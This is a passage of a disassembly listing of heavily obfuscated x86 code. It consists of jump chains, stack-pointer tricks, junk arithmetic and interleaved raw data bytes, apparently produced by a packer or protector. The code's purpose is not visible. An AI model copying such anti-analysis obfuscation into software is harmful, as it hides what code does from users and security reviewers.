		jmp	loc_5A5291
; ---------------------------------------------------------------------------


loc_59CA94:				; CODE XREF: sdfs____:005A897Fj
		pop	ecx
		xor	esi, edx
		jmp	loc_5A7013
; ---------------------------------------------------------------------------


loc_59CA9C:				; CODE XREF: sdfs____:0059ED65j
		pop	eax
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	ebx
		push	eax
		mov	eax, 68585C8Ch
		jmp	loc_59CBB2
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0B8h
		dd 8136DF5Ch, 0DB5C69EBh, 5BDE01DEh, 17FAE9h, 58C20100h
		dd 0E17E95Dh
		db 1, 0
; ---------------------------------------------------------------------------


loc_59CAD2:				; CODE XREF: sdfs____:005A99C6j
		push	ecx
		mov	ecx, 63ED19DCh
		add	dword ptr [esp+8], 3704DB1h
		add	[esp+8], ecx
		jmp	loc_5A72E5
; ---------------------------------------------------------------------------


loc_59CAE9:				; CODE XREF: sdfs____:005ACA30j
		pop	ebp
		jmp	loc_5A011D
; ---------------------------------------------------------------------------


loc_59CAEF:				; CODE XREF: sdfs____:005AEE16j
		pop	dword ptr [esp]
		jmp	loc_5AC165
; ---------------------------------------------------------------------------


loc_59CAF7:				; CODE XREF: sdfs____:005A0AC3j
		mov	[esp], eax
		mov	eax, 4
		push	ebx
		push	ebp
		mov	ebp, 7A130708h
		xor	ebp, 16E405D8h
		add	ebp, 39569D3h
		push	edi
		mov	edi, ebp
		mov	ebx, edi
		jmp	loc_5ABF2F
; ---------------------------------------------------------------------------


loc_59CB1C:				; CODE XREF: sdfs____:0059A2D0j
		mov	eax, 6B667B96h
		inc	eax
		jmp	loc_5A6EC3
; ---------------------------------------------------------------------------


loc_59CB27:				; CODE XREF: sdfs____:005AC9A3j
		pop	esp
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_59CB36:				; CODE XREF: sdfs____:005B014Dj
		mov	edi, 545D049Fh
		mov	ebp, 545D04A3h
		jmp	loc_5A4075
; ---------------------------------------------------------------------------


loc_59CB45:				; CODE XREF: sdfs____:005AF689j
		add	ebp, 244608A1h
		jmp	loc_5A5D9E
; ---------------------------------------------------------------------------


loc_59CB50:				; CODE XREF: sdfs____:005A6541j
		push	esp
		pop	dword ptr [esp]
		jmp	loc_5A7571
; ---------------------------------------------------------------------------


loc_59CB59:				; CODE XREF: sdfs____:005A3A39j
		push	eax
		mov	eax, 4
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_5AE3E8
; ---------------------------------------------------------------------------
		dd 0ED61E959h, 74FFFFFFh, 48B0424h, 4C48124h, 8F000000h
		dd 0E95C2404h, 0AD8Ch
; ---------------------------------------------------------------------------


loc_59CB94:				; CODE XREF: sdfs____:005AE1DFj
		pop	edi
		jmp	loc_59AD89
; ---------------------------------------------------------------------------


loc_59CB9A:				; CODE XREF: sdfs____:005A926Cj
		xor	edi, esi
		jmp	loc_5A156C
; ---------------------------------------------------------------------------
		db 0B8h, 45h, 2
		dd 0D1356C49h, 0F7712D09h, 1781E9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59CBB2:				; CODE XREF: sdfs____:0059CAB0j
		mov	ebx, 0B5C27CAh
		xor	ebx, eax
		pop	eax
		push	7650h
		jmp	loc_599535
; ---------------------------------------------------------------------------


loc_59CBC4:				; CODE XREF: sdfs____:005A86E8j
		add	bl, 3Ch
		add	bl, cl
		push	edx
		mov	dl, 0A9h
		add	dl, 93h
		sub	bl, dl
		pop	edx
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_59D954
; ---------------------------------------------------------------------------


loc_59CBE1:				; CODE XREF: sdfs____:005A4A63j
		push	ebx
		jmp	loc_5A58B4
; ---------------------------------------------------------------------------


loc_59CBE7:				; CODE XREF: sdfs____:005A01D3j
		push	eax
		mov	eax, 509C0374h
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 368D731Bh
		sub	edx, 0E5F16FABh
		sub	esp, 4
		mov	[esp], edi
		mov	edi, edx
		mov	ebx, edi
		pop	edi
		pop	edx
		jmp	loc_5994F7
; ---------------------------------------------------------------------------


loc_59CC21:				; CODE XREF: sdfs____:005A6786j
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		jmp	loc_5A8C50
; ---------------------------------------------------------------------------


loc_59CC30:				; CODE XREF: sdfs____:005A6661j
		sub	esp, 4
		jmp	loc_5AF5BB
; ---------------------------------------------------------------------------


loc_59CC3B:				; CODE XREF: sdfs____:loc_5A5E15j
					; sdfs____:005AEAF5j
		mov	ebp, 30AD31B7h
		jmp	loc_5A0E23
; ---------------------------------------------------------------------------


loc_59CC45:				; CODE XREF: sdfs____:005AC031j
		add	eax, 2FE07126h
		add	eax, ebx
		sub	eax, 2FE07126h
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_59D5EA
; ---------------------------------------------------------------------------


loc_59CC5F:				; CODE XREF: sdfs____:005A7BF6j
		pop	ebx
		push	dword ptr [esp]
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5A23D8
; ---------------------------------------------------------------------------


loc_59CC7F:				; CODE XREF: sdfs____:005A7A26j
		mov	ebp, esp
		jmp	loc_59BE17
; ---------------------------------------------------------------------------


loc_59CC86:				; CODE XREF: sdfs____:005AD399j
		push	eax
		mov	eax, 3B421345h
		and	ebp, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5AA01E
; ---------------------------------------------------------------------------
aStSN		db '\ST[éЭ',0
		align 10h


loc_59CCA0:				; CODE XREF: sdfs____:005A7C70j
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_5ACA77
; ---------------------------------------------------------------------------
aAa6aSs		db '€í6€Å°Sé{Ü',0
		dw 5100h
		dd 5FEBEEB9h, 0F03FE989h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59CCC2:				; CODE XREF: sdfs____:0059B186j
		sub	edx, 4A2C3042h
		jmp	loc_5ABFAD
; ---------------------------------------------------------------------------


loc_59CCCD:				; CODE XREF: sdfs____:005A8849j
		sub	edi, 0FB368CE3h
		sub	edi, 238F3AA4h
		jmp	loc_5AB38E
; ---------------------------------------------------------------------------


loc_59CCDE:				; CODE XREF: sdfs____:005AD851j
		neg	ebx
		jmp	loc_5A145C
; ---------------------------------------------------------------------------


loc_59CCE5:				; CODE XREF: sdfs____:005B0175j
		sub	eax, 730E28E9h
		sub	eax, 1CEA0BD7h
		jz	loc_5A8682
		sub	eax, 6883A818h
		mov	esi, eax
		jmp	loc_5A5CBF
; ---------------------------------------------------------------------------


loc_59CD01:				; CODE XREF: sdfs____:005A2508j
		mov	ch, al
		mov	bh, ch
		pop	ecx
		not	bh
		mov	al, bh
		mov	ebx, [esp]
		jmp	loc_5A881F
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 74E047AAh, 17C3E9h
		db 0
; ---------------------------------------------------------------------------


loc_59CD1D:				; CODE XREF: sdfs____:0059C974j
		sub	eax, edi
		pop	edi
		pop	ecx
		jmp	loc_5B0021
; ---------------------------------------------------------------------------
aUsmb		db 'UéMB',0             ; DATA XREF: sdfs____:00599058o
		align 4


loc_59CD2C:				; CODE XREF: sdfs____:005A9222j
		add	cl, 15h
		add	cl, 4Ah
		sub	cl, al
		sub	cl, 4Ah
		sub	cl, 15h
		pop	eax
		xor	bh, cl
		pop	cx
		push	eax
		mov	ah, bh
		mov	dh, ah
		pop	eax
		jmp	loc_59EE82
; ---------------------------------------------------------------------------
		dw 8A0Fh
		dd 739h, 0DC8F0F4Bh, 0E9000015h, 108CDh
; ---------------------------------------------------------------------------


loc_59CD5C:				; CODE XREF: sdfs____:005AEB14j
		add	edi, ecx
		jmp	loc_59DA57
; ---------------------------------------------------------------------------


loc_59CD63:				; CODE XREF: sdfs____:005AD60Fj
		sub	al, 14h
		add	al, dh
		add	al, 14h
		pop	edx
		sub	al, dh
		jmp	loc_59DC2D
; ---------------------------------------------------------------------------


loc_59CD71:				; CODE XREF: sdfs____:005A8AA1j
		shl	ax, 4
		sub	ax, 110Ch
		push	esi
		push	eax
		mov	ax, 4811h
		mov	si, ax
		pop	eax
		jmp	loc_5A3A47
; ---------------------------------------------------------------------------


loc_59CD88:				; CODE XREF: sdfs____:005A8ADFj
		xor	bh, 32h
		shl	bh, 2
		shr	bh, 4
		push	ecx
		mov	ch, 0F9h
		sub	bh, ch
		pop	ecx
		and	bh, 0B4h
		sub	bh, 0CEh
		sub	ch, bh
		jmp	loc_5AFF3B
; ---------------------------------------------------------------------------
dword_59CDA4	dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 59F3h; ---------------------------------------------------------------------------


loc_59CDB4:				; CODE XREF: sdfs____:005AAA95j
		add	ebp, edx
		jmp	loc_5A16C1
; ---------------------------------------------------------------------------
		db 54h
		dd 8324148Bh, 0B85004C4h, 6D062A30h, 0FFFAE2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59CDCD:				; CODE XREF: sdfs____:0059DAF3j
		pop	esp
		jmp	loc_5AD746
; ---------------------------------------------------------------------------


loc_59CDD3:				; CODE XREF: sdfs____:005A7136j
		xor	dx, [esp]
		xor	[esp], dx
		xor	dx, bp
		jmp	loc_5A6859
; ---------------------------------------------------------------------------
		db 0BFh
		dd 66672230h, 555FFE89h, 0D730E9h
		db 0
; ---------------------------------------------------------------------------


loc_59CDF1:				; CODE XREF: sdfs____:005AE6CFj
		js	loc_5AE3C7
		push	ecx
		push	ebp
		mov	ebp, 6B4931F1h
		jmp	loc_5AB2EA
; ---------------------------------------------------------------------------
		db 0B0h
		db 6Bh
; ---------------------------------------------------------------------------


loc_59CE05:				; CODE XREF: sdfs____:005A2805j
		sub	ecx, 37CA0905h
		pop	edi
		mov	ebp, ecx
		jmp	loc_5B03F6
; ---------------------------------------------------------------------------
byte_59CE13	db 0FFh			; DATA XREF: sdfs____:0059904Co
		dd 52582434h, 0C2815A54h, 4, 4BE56h, 0F2290000h, 8124348Bh
		dd 4C4h, 24148700h, 240C895Ch, 0C181E189h, 4, 5A5E9h, 240C8B00h
		dd 0E9E68956h, 0FFFFD145h
; ---------------------------------------------------------------------------


loc_59CE50:				; CODE XREF: sdfs____:0059A5BDj
		mov	esp, [esp]
		jmp	loc_59F226
; ---------------------------------------------------------------------------


loc_59CE58:				; CODE XREF: sdfs____:005A8216j
		mov	ebx, 0A2F21D2h
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		shl	ebp, 1
		push	esi
		mov	esi, 0A66077Ch
		jmp	loc_59A2D5
; ---------------------------------------------------------------------------


loc_59CE75:				; CODE XREF: sdfs____:005A4B3Aj
		xchg	ch, al
		jmp	loc_5A230D
; ---------------------------------------------------------------------------


loc_59CE7C:				; CODE XREF: sdfs____:005A64B9j
		mov	edi, [esp]
		add	esp, 4
		add	ecx, 2
		xchg	ecx, [esp]
		jmp	loc_5A3EC6
; ---------------------------------------------------------------------------
		db 83h
		dd 0F18004C4h, 6E9C09Ch, 6602EC83h, 0F6240C89h,	59662414h
		dd 0FFC456E9h, 0E9E689FFh, 11A53h, 5D2434FFh, 8304C483h
		dd 0B95104C4h, 400C68EBh, 3E9C141h, 0C9B85052h,	2D72B51Dh
		dd 6BB200E4h, 3002BB2Dh, 8BC2898Fh, 8BE92404h, 560000E7h
		dd 0FEF9E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59CEEA:				; CODE XREF: sdfs____:005AA4B4j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	edi, 71DF3A8Dh
		add	edi, ebx
		sub	edi, 71DF3A8Dh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_59FE3C
; ---------------------------------------------------------------------------
		dw 6B2Dh
		dd 150C6FCh, 0F32958C3h, 7173EB81h, 875E26B8h, 248B241Ch
		dd 24148924h, 11373E9h
		db 0
; ---------------------------------------------------------------------------


loc_59CF29:				; CODE XREF: sdfs____:005AB002j
		shr	ecx, 0Bh
		push	esi
		push	1D61h
		jmp	loc_5AABA1
; ---------------------------------------------------------------------------


loc_59CF37:				; CODE XREF: sdfs____:005ACFFAj
		inc	eax
		sub	eax, 2C7B0B59h
		jp	loc_5A743B
		sub	eax, 0B3634CAh
		jo	loc_5A05A1
		sub	esp, 4
		pop	eax


loc_59CF52:				; CODE XREF: sdfs____:005AC1ADj
		push	esi
		mov	esi, 4
		add	edx, esi
		jmp	loc_5AC999
; ---------------------------------------------------------------------------


loc_59CF5F:				; CODE XREF: sdfs____:0059ECEAj
		add	[esp+4], ecx
		pop	ecx
		add	dword ptr [esp], 60BA37BAh
		add	[esp], eax
		jmp	loc_5AE166
; ---------------------------------------------------------------------------


loc_59CF73:				; CODE XREF: sdfs____:005AA5B2j
		inc	esi
		jo	loc_5A8FEC
		add	esi, 294257EAh
		dec	esi
		inc	esi
		jz	loc_5AEB19
		shl	esi, 6
		dec	esi
		add	esi, 8DEE6BAEh
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5AFD69
; ---------------------------------------------------------------------------


loc_59CFA2:				; CODE XREF: sdfs____:0059BD90j
		push	246F4AB6h
		jmp	loc_599353
; ---------------------------------------------------------------------------


loc_59CFAC:				; CODE XREF: sdfs____:0059D10Aj
		pop	ebp
		sub	ebp, 31BB4122h
		jmp	loc_59D307
; ---------------------------------------------------------------------------


loc_59CFB8:				; CODE XREF: sdfs____:0059C913j
		mov	esp, [esp]
		and	[esp], eax
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_59CFC4:				; CODE XREF: sdfs____:0059A9FAj
		add	eax, esi
		jmp	loc_5AB52F
; ---------------------------------------------------------------------------
		db 81h
		dd 4EAh, 24148700h, 29B9685Ch, 3FE90000h, 310000EAh, 0C33240Ch
		dd 56505C24h, 141AADBEh, 0E9F0897Fh, 887h
; ---------------------------------------------------------------------------


loc_59CFF4:				; CODE XREF: sdfs____:005A2964j
		mov	[esp], ebp
		push	7E27355Ah
		pop	ebp
		jmp	loc_5A9EBF
; ---------------------------------------------------------------------------
		dw 0E95Dh
		dd 0E11Fh
; ---------------------------------------------------------------------------


loc_59D008:				; CODE XREF: sdfs____:0059E079j
					; sdfs____:005A6F94j
		push	24BBh
		mov	[esp], ebx
		push	575Ah
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		jmp	loc_5A9476
; ---------------------------------------------------------------------------


loc_59D022:				; CODE XREF: sdfs____:005AA912j
		xor	esi, [esp]
		jmp	loc_59A5B7
; ---------------------------------------------------------------------------
		dw 0C783h
		dd 243C8704h, 49C7685Ch, 4890000h, 68E08924h, 28F1h, 0F4DCE9h
		db 0
; ---------------------------------------------------------------------------


loc_59D045:				; CODE XREF: sdfs____:0059921Dj
		push	eax
		mov	al, 16h
		jmp	loc_5AB339
; ---------------------------------------------------------------------------


loc_59D04D:				; CODE XREF: sdfs____:005A911Fj
		xchg	esi, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_59D05E:				; CODE XREF: sdfs____:0059DEC1j
		push	esp
		pop	ebp
		jmp	loc_5AE103
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 34h
		dd 104171Bh, 0AEE953F1h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D073:				; CODE XREF: sdfs____:0059B49Bj
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		pop	ecx
		push	eax
		push	ecx
		push	3CA53055h
		pop	ecx
		add	ecx, 613B0E1Fh
		jns	loc_599AB3
		sub	ecx, 7F7C14F9h
		mov	eax, ecx
		pop	ecx
		sub	ecx, eax
		mov	eax, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_59EFA7
; ---------------------------------------------------------------------------


loc_59D0BF:				; CODE XREF: sdfs____:0059E25Dj
		sub	edi, ecx
		pop	ecx
		jmp	loc_59E40A
; ---------------------------------------------------------------------------


loc_59D0C7:				; CODE XREF: sdfs____:005ACC91j
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 0AEF7BF4h
		push	ebx
		push	ebp
		mov	ebp, 65A4146Ch
		and	ebp, 7945133Bh
		push	eax
		mov	eax, 58D84B8Ah
		xor	ebp, eax
		jmp	loc_5AAD3D
; ---------------------------------------------------------------------------


loc_59D0F4:				; CODE XREF: sdfs____:005A883Ej
		sub	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	dh, 7Ah
		jmp	loc_59FE17
; ---------------------------------------------------------------------------


loc_59D105:				; CODE XREF: sdfs____:005A8CEAj
		add	[esp+4], edx
		pop	edx
		jmp	loc_59CFAC
; ---------------------------------------------------------------------------


loc_59D10F:				; CODE XREF: sdfs____:0059D9ADj
		mov	[esp], ebp
		jmp	loc_5ADFA1
; ---------------------------------------------------------------------------
		db 89h
		dd 0ECBA52E3h, 8109572Ah, 0A7175CAh, 0FD97E916h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59D12A:				; CODE XREF: sdfs____:005ADDA8j
		xor	di, 30A3h
		jmp	loc_5AB890
; ---------------------------------------------------------------------------


loc_59D134:				; CODE XREF: sdfs____:005A84FCj
		add	esi, edi
		pop	edi
		push	105Ch
		mov	[esp], edi
		mov	edi, 39CA06F9h
		xor	edi, 39CA06FDh
		jmp	loc_5ABFCD
; ---------------------------------------------------------------------------
		db 4Bh
		dd 74F6800Fh, 0DBF70000h, 0D994E9h
		db 0
; ---------------------------------------------------------------------------


loc_59D15D:				; CODE XREF: sdfs____:005AF49Aj
		mov	[esp], ebx
		mov	ebx, 2
		add	eax, (offset loc_5A76C9+3)
		add	eax, 2FBC5813h
		add	eax, ebx
		sub	eax, 2FBC5813h
		sub	eax, (offset loc_5A76C9+3)
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_59E5A7
; ---------------------------------------------------------------------------
word_59D18A	dw 0E768h		; DATA XREF: sdfs____:00598FA4o
		dd 54000069h, 5024048Fh, 468h, 4D53E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59D19E:				; CODE XREF: sdfs____:0059C69Ej
		push	esi
		mov	esi, 145252ADh
		add	esi, 5D8A20A4h
		or	esi, 3C4F04CAh
		add	esi, 0F852DC7h
		add	esi, 259D3919h
		add	eax, esi
		pop	esi
		sub	edx, eax
		pop	eax
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5A62F9
; ---------------------------------------------------------------------------


loc_59D1D1:				; CODE XREF: sdfs____:005AE896j
		not	ecx
		and	ecx, 6E9D2CABh
		sub	ecx, 6E902004h
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 543F765Fh
		jmp	loc_5A02B5
; ---------------------------------------------------------------------------


loc_59D1F5:				; CODE XREF: sdfs____:005AA6ABj
		mov	[esp], esp
		push	59DBh
		mov	[esp], ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_59F18C
; ---------------------------------------------------------------------------


loc_59D216:				; CODE XREF: sdfs____:005A4C9Fj
		pop	edx
		add	al, cl
		pop	ecx
		push	3079h
		mov	[esp], edx
		mov	dh, 0A1h
		push	ax
		push	ecx
		mov	ch, 88h
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5AEA1D
; ---------------------------------------------------------------------------


loc_59D237:				; CODE XREF: sdfs____:005AD951j
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_59D254:				; CODE XREF: sdfs____:005A546Ej
		pop	edi
		jmp	loc_5A839C
; ---------------------------------------------------------------------------


loc_59D25A:				; CODE XREF: sdfs____:005A5D10j
		xor	eax, 72A20092h
		sub	ebx, eax
		pop	eax
		pop	eax
		jmp	loc_5A1463
; ---------------------------------------------------------------------------
		dd 148968h, 243C8900h, 243C8B54h, 0E904C483h, 287Bh
; ---------------------------------------------------------------------------


loc_59D27C:				; CODE XREF: sdfs____:005A9EECj
					; sdfs____:005ABFBBj
		inc	ecx
		js	loc_5B03C6
		jmp	loc_59A07C
; ---------------------------------------------------------------------------
		dd 4B8h, 58C20100h
		db 8Ah,	0EAh
; ---------------------------------------------------------------------------


loc_59D292:				; CODE XREF: sdfs____:005A83B1j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_59B588
; ---------------------------------------------------------------------------


loc_59D2A7:				; CODE XREF: sdfs____:0059947Dj
		mov	ax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		sub	al, 0BFh
		sub	al, dh
		add	al, 0BFh
		push	dword ptr [esp]
		jmp	loc_5A29E6
; ---------------------------------------------------------------------------


loc_59D2CC:				; CODE XREF: sdfs____:005A7B11j
		sub	eax, 0F40E112Eh
		or	ebx, eax
		jmp	loc_5A731C
; ---------------------------------------------------------------------------


loc_59D2D8:				; CODE XREF: sdfs____:005A9CEDj
		pop	esp
		jmp	loc_59D6C3
; ---------------------------------------------------------------------------


loc_59D2DE:				; CODE XREF: sdfs____:005A8F38j
		mov	eax, esp
		add	eax, 4
		push	ecx
		mov	ecx, 5C6B6C1Fh
		xor	ecx, 5C6B6C1Bh
		jmp	loc_59F9B5
; ---------------------------------------------------------------------------


loc_59D2F6:				; CODE XREF: sdfs____:005B022Ej
		add	dword ptr [esp], 298D060Ah
		push	dword ptr [esp]
		pop	eax
		push	ebp
		jmp	loc_5A173B
; ---------------------------------------------------------------------------


loc_59D307:				; CODE XREF: sdfs____:0059CFB3j
		pop	edx
		jmp	loc_59BEB1
; ---------------------------------------------------------------------------


loc_59D30D:				; CODE XREF: sdfs____:005A0EDFj
		pop	edi
		jmp	loc_5A7C28
; ---------------------------------------------------------------------------


loc_59D313:				; CODE XREF: sdfs____:005A7E46j
		pop	esi
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	4164h
		mov	[esp], ebx
		jmp	loc_5ACE36
; ---------------------------------------------------------------------------
		db 57h
		dd 0DD708DBFh, 0E0B8E90Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D336:				; CODE XREF: sdfs____:005A497Bj
		pop	esi
		xor	eax, edi
		jmp	loc_5ABA0B
; ---------------------------------------------------------------------------


loc_59D33E:				; CODE XREF: sdfs____:loc_59B377j
		jmp	loc_5AB310
; ---------------------------------------------------------------------------


loc_59D343:				; CODE XREF: sdfs____:005A618Dj
		sub	edi, eax
		jmp	loc_5A4ABE
; ---------------------------------------------------------------------------


loc_59D34A:				; CODE XREF: sdfs____:005A834Aj
		add	ch, bh
		mov	ebx, [esp]
		jmp	loc_59946A
; ---------------------------------------------------------------------------
		dd 57241489h, 7B0AE368h, 243C8B66h, 0F704C483h,	0E8C781D7h
		dd 89667B0Ah, 2434FFFAh, 46F1E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59D376:				; CODE XREF: sdfs____:005A377Bj
		add	eax, ecx
		pop	ecx
		jmp	loc_5A7B0A
; ---------------------------------------------------------------------------
word_59D37E	dw 5556h		; DATA XREF: sdfs____:00598FC8o
		dd 23442B68h, 0C5815D3Bh, 4035097Dh, 0C44C800Fh, 0F9E9FFFFh
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D397:				; CODE XREF: sdfs____:0059C62Ej
					; sdfs____:005AE7F7j
		inc	edi
		not	edi
		shr	edi, 7
		add	edi, 0FF841383h
		add	ebx, edi
		pop	edi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_59DD95
; ---------------------------------------------------------------------------


loc_59D3B7:				; CODE XREF: sdfs____:005ADDCEj
		mov	ebx, esp
		push	eax
		push	3148460Ah
		pop	eax
		jmp	loc_5A9098
; ---------------------------------------------------------------------------
		db 1, 0D6h, 81h
aU9kezs_i	db 'î',0Bh,'9keZé.ë',0
		dw 5A00h
aZssD		db 'ZSéêD',0
		dw 6600h
		dd 0C3DBE95Bh, 34FFFFFFh, 0B75DE924h, 0BE560000h, 4, 8904EC83h
		dd 0B1E92404h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59D3FB:				; CODE XREF: sdfs____:005AC85Aj
		push	esi
		mov	esi, esp
		push	edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 56877F7Ch
		sub	ecx, 0F5C5C0Eh
		jnz	loc_5ADF1C
		sub	ecx, 30D947BBh
		jmp	loc_5A85E0
; ---------------------------------------------------------------------------


loc_59D421:				; CODE XREF: sdfs____:005A621Aj
		push	6F9A2B7Eh
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	ebx, eax
		pop	eax
		jmp	loc_5ADDD3
; ---------------------------------------------------------------------------


loc_59D438:				; CODE XREF: sdfs____:loc_59E8FDj
					; sdfs____:005AFD4Fj
		inc	dh
		xor	dh, 0FCh
		jl	loc_59AACB
		xor	dh, 1Ah
		add	dh, 0D6h
		mov	bh, 54h
		xor	bh, dh


loc_59D44D:				; CODE XREF: sdfs____:005A0BFFj
		mov	[esp], eax
		mov	eax, 4652B67h
		shl	eax, 8
		xor	eax, 34A07846h
		xchg	eax, ebp
		add	ebp, 0FFFFFFFFh
		xchg	eax, ebp
		shl	eax, 5
		add	eax, 0CE9C1762h
		sub	ebp, 55D650DDh
		jmp	loc_5A814F
; ---------------------------------------------------------------------------


loc_59D475:				; CODE XREF: sdfs____:005997CAj
		pop	esi
		add	edi, esi
		jmp	loc_5AC4D9
; ---------------------------------------------------------------------------
		db 5Eh,	33h, 4
		dd 24043124h, 0B0C2E9h,	8F0F4B00h, 0FFFFDAC2h, 0F060E9h
		db 0
; ---------------------------------------------------------------------------


loc_59D495:				; CODE XREF: sdfs____:0059AD84j
		add	edi, 0FFFFFFFFh
		or	edi, 74020438h
		inc	edi
		or	edi, 38F171A5h
		sub	edi, 2F7253C3h
		add	edi, 0AF7ADE22h
		add	ebp, edi
		pop	edi
		jmp	loc_5ADBD8
; ---------------------------------------------------------------------------


loc_59D4B9:				; CODE XREF: sdfs____:0059DEBAj
		jbe	loc_5A5E15
		jmp	loc_5AD366
; ---------------------------------------------------------------------------
		dd 148768h, 24048900h
		db 5Ch
; ---------------------------------------------------------------------------


loc_59D4CD:				; CODE XREF: sdfs____:0059D4F2j
		shr	ecx, 2
		push	eax
		push	esp
		pop	eax
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		sub	eax, 4
		jmp	loc_5A7C6C
; ---------------------------------------------------------------------------


loc_59D4E4:				; CODE XREF: sdfs____:005A06DFj
		pop	ebx
		jmp	loc_5A549E
; ---------------------------------------------------------------------------


loc_59D4EA:				; CODE XREF: sdfs____:0059E016j
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_59D4EF:				; CODE XREF: sdfs____:005A7F94j
		and	ecx, eax
		pop	eax
		jmp	loc_59D4CD
; ---------------------------------------------------------------------------


loc_59D4F7:				; CODE XREF: sdfs____:005AFCDBj
		push	esi
		jmp	loc_5AC54C
; ---------------------------------------------------------------------------


loc_59D4FD:				; CODE XREF: sdfs____:0059BA6Ej
					; DATA XREF: sdfs____:00598FF8o
		mov	cx, [esp]
		push	esi
		push	esp
		jmp	loc_5AB238
; ---------------------------------------------------------------------------


loc_59D508:				; CODE XREF: sdfs____:0059B505j
		sub	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_5A2D90
; ---------------------------------------------------------------------------


loc_59D51F:				; CODE XREF: sdfs____:005A4104j
		sub	eax, 25D70088h
		or	[edi+1Ch], eax
		jmp	loc_5AB724
; ---------------------------------------------------------------------------


loc_59D52C:				; CODE XREF: sdfs____:0059E4AAj
		add	esp, 4
		jmp	loc_5A7A3C
; ---------------------------------------------------------------------------


loc_59D534:				; CODE XREF: sdfs____:0059DCA2j
		add	ebp, ecx
		add	ebp, 371D313Ah
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5AB4A1
; ---------------------------------------------------------------------------


loc_59D548:				; CODE XREF: sdfs____:0059B1F0j
		push	ax
		jmp	loc_5A0FFF
; ---------------------------------------------------------------------------


loc_59D54F:				; CODE XREF: sdfs____:005A0A55j
		push	1C8018A6h
		jmp	loc_59C385
; ---------------------------------------------------------------------------


loc_59D559:				; CODE XREF: sdfs____:005A30F9j
		push	ecx
		mov	ecx, 7FC52038h
		dec	ecx
		jl	loc_5A9F0D
		jmp	loc_5A92C0
; ---------------------------------------------------------------------------


loc_59D56B:				; CODE XREF: sdfs____:005A77ADj
		mov	edi, 10C05841h
		add	eax, edi
		jmp	loc_5A2656
; ---------------------------------------------------------------------------


loc_59D577:				; CODE XREF: sdfs____:005A68A0j
		jmp	loc_59A1A3
; ---------------------------------------------------------------------------


loc_59D57C:				; CODE XREF: sdfs____:005AF8B1j
		xor	ebp, edi
